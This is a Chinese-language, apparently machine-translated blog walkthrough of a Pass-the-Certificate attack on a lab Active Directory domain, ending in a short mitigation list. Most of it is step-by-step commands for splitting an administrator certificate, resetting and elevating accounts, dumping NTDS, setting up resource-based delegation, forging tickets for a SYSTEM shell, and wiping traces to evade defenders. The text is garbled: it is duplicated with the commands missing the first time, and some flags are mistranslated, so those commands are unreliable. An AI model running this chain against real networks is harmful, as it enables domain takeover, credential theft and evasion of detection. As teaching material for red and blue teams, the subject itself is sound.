8
月
在社区成长 8 月
LEVEL 1
1 XP
Pass-the-Certificate 是一种高效的Kerberos 权限升级方法,可以绕过传统的基于密码的身份验证。它不依赖密码或哈希值,而是使用X.509 证书和私钥来利用PKINIT(用于初始身份验证的公钥加密)扩展。这使得攻击者能够获得票证授予票证(TGT),从而授予他们对网络资源的未经授权的访问权限。
通过利用Kerberos 身份验证中的安全漏洞,证书传递对依赖该协议的组织构成了严重威胁。了解证书传递的工作原理并实施对策对于保护基于Kerberos 的系统免受复杂攻击至关重要。
PKINIT(Kerberos 中初始身份验证的公钥加密)——允许Kerberos 使用证书而不是密码。
Schannel(安全通道)——允许通过LDAP、SMB 和其他服务进行基于证书的身份验证。
如果攻击者可以提取或生成与特权用户(如管理员)关联的证书,那么只要证书有效,他们就可以无限期地模拟该用户。
长期访问– 证书的有效期通常较长(数月至数年)。
隐秘– 如果PKINIT 和Schannel 的使用情况不受监控,可能不会触发警报。
RBCD 滥用– 与基于资源的约束委派(RBCD) 结合使用,可能会导致整个域受到损害。
域必须配置Active Directory 证书服务和证书颁发机构。
Kali Linux 包含各种工具
工具: Certipy、passthecert.py(Python 版本)、nxc smb、impacket-getST、impacket-psexec。
在本演练中,我们假设: 特权证书(administrator.pfx) 已经可用(例如,在之前的AD CS 攻击链中获得)。
certipy-ad cert -pfx admin.pfx -nocert -out admin.key
我们将PFX 分为passthecert.py 的证书(admin.crt) 和私钥(admin.key),因为私钥对于身份验证至关重要。这可确保与基于TLS 或LDAP 的身份验证系统的兼容性。
将PFX 分离为证书和私钥后,此方法使用它们建立一个交互式LDAP shell,通过TLS Schannel 以管理员身份进行身份验证,绕过Kerberos。当PKINIT 失败时它非常有用,允许通过LDAP 进行直接管理控制。
此步骤修改目标用户(sanjeet) 以设置新密码(Password@3),模拟管理员。它允许我们通过控制另一个帐户的凭据来进行调整。
该命令用于通过修改raj的帐户来提升raj的权限,使用证书(admin.crt)和私钥(admin.key)进行身份验证。
此步骤使用raj 再次尝试NTDS 转储,现在具有升级的权限。它强调基于证书的提升有效地提供了现实世界的控制,使我们能够以升级的权限执行转储。
此步骤在域中创建一个计算机对象HULK$,为基于资源的约束委派(RBCD) 链接设置计算机帐户。这为通过RBCD 进一步升级奠定了基础,RBCD 将在下一步中从HULK 配置到DC01$,使我们能够委派权限并稍后在网络上移动。
此步骤在msDS-AllowedToActOnBehalfOfOtherIdentity 中添加ACES,从而授予HULK$ 模拟DC01$ 的能力。此操作使我们能够代表DC01 计算机执行操作,利用RBCD 配置来升级权限并获得域内的进一步访问权限。
assword@3 -spn cifs/DC01.ignite.local -模拟管理员-dc-ip 192.168.1.20
此步骤请求DC01$ 的CIFS 服务票证(TGS),冒充管理员。通过使用RBCD 链(HULK$ → DC01$),它指示Active Directory 发出完全委派的Kerberos 票证以进行管理员访问,设置下一步以提升权限执行psexec。
impacket-psexec ignite.local/[email protected] -k -no-pass -dc-ip 192.168.1.20
此步骤将缓存的服务票证(TGS) 加载到Kerberos 缓存中。然后,使用PsExec,我们无需密码即可以管理员身份进行身份验证。通过利用impacket-getST 中的TGS,我们模拟管理员,从而完成以admin.crt 和admin.key 以及RBCD 开始的升级链。
这会检查DC01$ 上的msDS-AllowedToActOnBehalfOfOtherIdentity 属性,确认活动RBCD 配置并识别可以在执行清理或持久性操作之前模拟管理员等用户的帐户(例如HULK$)。
此命令删除raj 的RBCD 配置,清除委托ACL 以消除模拟痕迹并阻碍蓝队检测。
这将重新运行第一个查询来验证委派权限是否已删除,如果没有找到任何条目,则确认flush_rbcd成功,确保红队和蓝队都得到正确的验证。
监控异常证书使用和Schannel 绑定
检测意外的用户计算机委派条目(msDS-AllowedToActOnBehalfOfOtherIdentity)
通过证书验证shell 审核密码修改
禁用非托管或未使用的RBCD ACL
作者:MD Aslam 作为一个充满活力的信息安全领导者,推动安全卓越并指导团队加强跨产品、网络和组织的安全。联系方式请点击这里
通过利用Kerberos 身份验证中的安全漏洞,证书传递对依赖该协议的组织构成了严重威胁。了解证书传递的工作原理并实施对策对于保护基于Kerberos 的系统免受复杂攻击至关重要。
目录
概述证书传递(PtC) 先决条件枚举利用缓解证书通过 (PtC) 概述
在传统的Active Directory 利用中,哈希传递和票证传递攻击众所周知。证书传递是一种更现代、更隐蔽的技术,它利用X.509 证书而不是NTLM 哈希或Kerberos 票证来在AD 环境中进行身份验证和升级权限。什么是通过证书?
证书传递(PtC) 是一种后利用技术,攻击者使用证书及其相应的私钥对Active Directory 服务进行身份验证,而无需知道或不需要用户的密码。这是可能的,因为:PKINIT(Kerberos 中初始身份验证的公钥加密)——允许Kerberos 使用证书而不是密码。
Schannel(安全通道)——允许通过LDAP、SMB 和其他服务进行基于证书的身份验证。
如果攻击者可以提取或生成与特权用户(如管理员)关联的证书,那么只要证书有效,他们就可以无限期地模拟该用户。
为什么这很危险?
绕过密码策略– MFA、锁定阈值和密码更改没有帮助。长期访问– 证书的有效期通常较长(数月至数年)。
隐秘– 如果PKINIT 和Schannel 的使用情况不受监控,可能不会触发警报。
RBCD 滥用– 与基于资源的约束委派(RBCD) 结合使用,可能会导致整个域受到损害。
先决条件
Windows Server 2019 作为支持PKINIT 的Active Directory域必须配置Active Directory 证书服务和证书颁发机构。
Kali Linux 包含各种工具
工具: Certipy、passthecert.py(Python 版本)、nxc smb、impacket-getST、impacket-psexec。
在本演练中,我们假设: 特权证书(administrator.pfx) 已经可用(例如,在之前的AD CS 攻击链中获得)。
枚举利用
我们将从高权限用户(管理员)的有效.pfx 文件开始,提取证书和私钥,然后使用passthecert.py、impacket-getST 和psexec 等工具进行旋转、提升并最终实现完全域统治。提取证书和私钥
certipy-ad cert -pfx admin.pfx -nokey -out admin.crtcertipy-ad cert -pfx admin.pfx -nocert -out admin.key
我们将PFX 分为passthecert.py 的证书(admin.crt) 和私钥(admin.key),因为私钥对于身份验证至关重要。这可确保与基于TLS 或LDAP 的身份验证系统的兼容性。
以管理员身份启动 LDAP Shell
python3 passthecert.py -action ldap-shell -crt admin.crt -key admin.key -domain ignite.local -dc-ip 192.168.1.20将PFX 分离为证书和私钥后,此方法使用它们建立一个交互式LDAP shell,通过TLS Schannel 以管理员身份进行身份验证,绕过Kerberos。当PKINIT 失败时它非常有用,允许通过LDAP 进行直接管理控制。
通过证书重置用户密码
python3 passthecert.py -actionmodify_user -crt admin.crt -key admin.key -domain ignite.local -dc-ip 192.168.1.20 -target sanjeet -new-pass 密码@3此步骤修改目标用户(sanjeet) 以设置新密码(Password@3),模拟管理员。它允许我们通过控制另一个帐户的凭据来进行调整。
通过 Cert-Auth 提升 raj
python3 passthecert.py -动作modify_user -crt admin.crt -key admin.key -domain ignite.local -dc-ip 192.168.1.20 -target raj -elevate该命令用于通过修改raj的帐户来提升raj的权限,使用证书(admin.crt)和私钥(admin.key)进行身份验证。
验证提升的权限访问
nxc smb 192.168.1.20 -u raj -p '密码@1' –ntds此步骤使用raj 再次尝试NTDS 转储,现在具有升级的权限。它强调基于证书的提升有效地提供了现实世界的控制,使我们能够以升级的权限执行转储。
添加新的计算机帐户 (HULK)
python3 passthecert.py -action add_computer -crt admin.crt -key admin.key -domain ignite.local -dc-ip 192.168.1.20 -计算机名称HULK -计算机通行证密码@2此步骤在域中创建一个计算机对象HULK$,为基于资源的约束委派(RBCD) 链接设置计算机帐户。这为通过RBCD 进一步升级奠定了基础,RBCD 将在下一步中从HULK 配置到DC01$,使我们能够委派权限并稍后在网络上移动。
配置从 HULK 到 DC01$ 的 RBCD(委托)
python3 passthecert.py -action write_rbcd -crt admin.crt -key admin.key -domain ignite.local -dc-ip 192.168.1.20 -delegate-to DC01$ -delegate-from HULK$此步骤在msDS-AllowedToActOnBehalfOfOtherIdentity 中添加ACES,从而授予HULK$ 模拟DC01$ 的能力。此操作使我们能够代表DC01 计算机执行操作,利用RBCD 配置来升级权限并获得域内的进一步访问权限。
使用 GetST 通过 kerberos 进行模拟
impacket-getST ignite.local/'HULK$'此步骤请求DC01$ 的CIFS 服务票证(TGS),冒充管理员。通过使用RBCD 链(HULK$ → DC01$),它指示Active Directory 发出完全委派的Kerberos 票证以进行管理员访问,设置下一步以提升权限执行psexec。
加载票据并获取SYSTEM Shell
KRB5CCNAME=administrator@[email protected]impacket-psexec ignite.local/[email protected] -k -no-pass -dc-ip 192.168.1.20
此步骤将缓存的服务票证(TGS) 加载到Kerberos 缓存中。然后,使用PsExec,我们无需密码即可以管理员身份进行身份验证。通过利用impacket-getST 中的TGS,我们模拟管理员,从而完成以admin.crt 和admin.key 以及RBCD 开始的升级链。
读取 RBCD 条目(验证委派配置)
python3 passthecert.py -action read_rbcd -crt admin.crt -key admin.key -domain ignite.local -dc-ip 192.168.1.20 -delegate-to DC01$这会检查DC01$ 上的msDS-AllowedToActOnBehalfOfOtherIdentity 属性,确认活动RBCD 配置并识别可以在执行清理或持久性操作之前模拟管理员等用户的帐户(例如HULK$)。
刷新目标对象的 RBCD 委托
python3 passthecert.py -action flash_rbcd -crt admin.crt -key admin.key -domain ignite.local -dc-ip 192.168.1.20 -delegate-to raj此命令删除raj 的RBCD 配置,清除委托ACL 以消除模拟痕迹并阻碍蓝队检测。
重新验证 RBCD 是否已刷新
python3 passthecert.py -action read_rbcd -crt admin.crt -key admin.key -domain ignite.local -dc-ip 192.168.1.20 -delegate-to DC01$这将重新运行第一个查询来验证委派权限是否已删除,如果没有找到任何条目,则确认flush_rbcd成功,确保红队和蓝队都得到正确的验证。
缓解措施
仅将证书颁发给受信任的角色监控异常证书使用和Schannel 绑定
检测意外的用户计算机委派条目(msDS-AllowedToActOnBehalfOfOtherIdentity)
通过证书验证shell 审核密码修改
禁用非托管或未使用的RBCD ACL
作者:MD Aslam 作为一个充满活力的信息安全领导者,推动安全卓越并指导团队加强跨产品、网络和组织的安全。联系方式请点击这里